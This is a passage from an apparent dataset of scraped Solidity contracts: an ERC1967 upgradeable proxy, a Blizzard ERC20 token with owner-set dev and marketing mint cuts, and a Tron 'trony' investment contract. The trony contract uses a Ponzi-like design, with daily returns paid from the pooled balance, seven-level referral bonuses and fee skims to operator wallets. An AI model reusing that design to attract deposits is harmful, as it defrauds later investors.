uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
// loop over investors (`holders`) list
for (uint i = 1; i <= lastIndex; i++) {
address holder = addresses[i];
// `holder` will get part of 6% fee based on their token shares
uint _rewardTokens = contributionsToken[holder].mul(_6percent).div(totalTokens);
// `holder` will get part of 4% fee based on their ether shares
uint _rewardWei = contributionsEth[holder].mul(_4percent).div(totalWei);
// Transfer ether equal to the sum of the fee parts to `holder`
holder.transfer(_rewardTokens.add(_rewardWei));
}
}
// get sum of tokens contributed by the ether investors
function getTotalTokens() public view returns (uint) {
uint result;
for (uint i = 1; i <= lastIndex; i++) {
result = result.add(contributionsToken[addresses[i]]);
}
return result;
}
// get the sum of wei contributed by the token investors
function getTotalWei() public view returns (uint) {
uint result;
for (uint i = 1; i <= lastIndex; i++) {
result = result.add(contributionsEth[addresses[i]]);
}
return result;
}
// get the list of investors
function getList() public view returns (address[], uint[]) {
address[] memory _addrs = new address[](lastIndex);
uint[] memory _contributions = new uint[](lastIndex);
for (uint i = 1; i <= lastIndex; i++) {
_addrs[i-1] = addresses[i];
_contributions[i-1] = contributionsToken[addresses[i]];
}
return (_addrs, _contributions);
}
}
| 176,290 | 12,702 |
440ae28e3d2eed2044f46b498f6cdbc56632bbc2a8b49e75cff56b2b534ec985
| 27,665 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b6/B6C7E7e0Cd3BCC1feF4922E33743c7DA2bEaD3e5_T2WebProxy.sol
| 2,825 | 11,509 |
// Sources flattened with hardhat v2.9.3 https://hardhat.org
// File @openzeppelin/contracts/proxy/[emailprotected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract T2WebProxy is ERC1967Proxy {
constructor(address _logic, address admin_)
payable
ERC1967Proxy(_logic, bytes(""))
{
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
}
| 90,218 | 12,703 |
ae874a818150ee0d124346253d598a7b122ca7b1163bb1cb343c0ff492b08e8b
| 36,339 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a2/a2776A53Da0bf664EA34B8Efa1c8aB4241A10968_Blizzard.sol
| 4,200 | 16,034 |
// File @openzeppelin/contracts/utils/[emailprotected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/[emailprotected]
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File @openzeppelin/contracts/access/[emailprotected]
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/utils/[emailprotected]
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File contracts/Blizzard.sol
contract Blizzard is Context, ERC20, Ownable {
using SafeMath for uint256;
// minter roles are set exclusively for vaults
mapping (address => bool) public minters;
mapping (address => bool) public mintersWithoutFee;
uint256 public devAllocation = 1400;
uint256 public constant MAX_ALLOCATION = 10000;
address public devWallet;
address public marketingWallet;
modifier onlyVault {
require(minters[msg.sender] == true, "!minter");
_;
}
constructor(address _devWallet, address _marketingWallet) ERC20("Blizzard", "BLIZZ")
{
uint256 initialSupply = 855000 ether;
_mint(msg.sender, initialSupply);
devWallet = _devWallet;
marketingWallet = _marketingWallet;
}
function setDevAllocation(uint256 _alloc) external onlyOwner {
require(_alloc < 2000, "invalid value");
devAllocation = _alloc;
}
function setDevWallet(address _wallet) external onlyOwner {
devWallet = _wallet;
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
marketingWallet = _marketingWallet;
}
function setMinter(address _minter, bool _flag) external onlyOwner {
minters[_minter] = _flag;
}
function setMinterWithoutFee(address _minter, bool _flag) external onlyOwner {
mintersWithoutFee[_minter] = _flag;
}
function mint(address _to, uint256 _amount) external onlyVault returns (uint256 mintAmount) {
if (mintersWithoutFee[msg.sender] == true) {
_mint(_to, _amount);
return _amount;
}
mintAmount = _amount.mul(uint256(MAX_ALLOCATION).sub(devAllocation)).div(MAX_ALLOCATION);
_mint(_to, mintAmount);
if (devAllocation > 0) {
_mint(devWallet, _amount.mul(devAllocation).div(MAX_ALLOCATION).div(2));
_mint(marketingWallet, _amount.mul(devAllocation).div(MAX_ALLOCATION).div(2));
}
}
}
| 73,227 | 12,704 |
b37835d7af139ff16e9d0584fd65fb5e137208b61673d00923bb636846580499
| 16,901 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSHwDidHnhJgD3aqA7qAfRxjPC8vLkHjq4_trony.sol
| 3,784 | 11,271 |
//SourceUnit: trony.sol
pragma solidity 0.5.9;
contract trony {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public BASE_PERCENT = 15;
uint256[] public REFERRAL_PERCENTS = [100, 50, 20, 5, 3, 2, 1];
uint256 constant public MARKETING_FEE = 50;
uint256 constant public RESERVE_FUND = 30;
uint256 constant public PROJECT_FEE = 20;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_CONTRACT_PERCENT = 90;
uint256 constant public MAX_HOLD_PERCENT = 60;
uint256 constant public USER_MAX_DEPOSITS = 100;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256 public totalReserveFund;
address payable public marketingAddress;
address payable public reserveFundAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 wbonus;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 level4;
uint256 level5;
uint256 level6;
uint256 level7;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable reserveAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr) && !isContract(reserveAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
reserveFundAddress = reserveAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "Minimum deposit amount 100 TRX");
User storage user = users[msg.sender];
require(user.deposits.length < USER_MAX_DEPOSITS, "Maximum 100 deposits per address");
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
reserveFundAddress.transfer(msg.value.mul(RESERVE_FUND).div(PERCENTS_DIVIDER));
totalReserveFund = totalReserveFund.add(msg.value.mul(RESERVE_FUND).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 7; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
} else if(i == 3){
users[upline].level4 = users[upline].level4.add(1);
} else if(i == 4){
users[upline].level5 = users[upline].level5.add(1);
} else if(i == 5){
users[upline].level6 = users[upline].level6.add(1);
} else if(i == 6){
users[upline].level7 = users[upline].level7.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.wbonus = user.wbonus.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT))
{
return contractBalancePercent;
}
else
{
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
uint256 DoublexHold = timeMultiplier.mul(2);
if (DoublexHold > MAX_HOLD_PERCENT) {
DoublexHold = MAX_HOLD_PERCENT;
}
return contractBalanceRate.add(DoublexHold);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function getReservedFund() public view returns(uint256) {
return totalReserveFund;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3, users[userAddress].level4, users[userAddress].level5, users[userAddress].level6, users[userAddress].level7);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserTotalReferralBonus(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(users[userAddress].wbonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
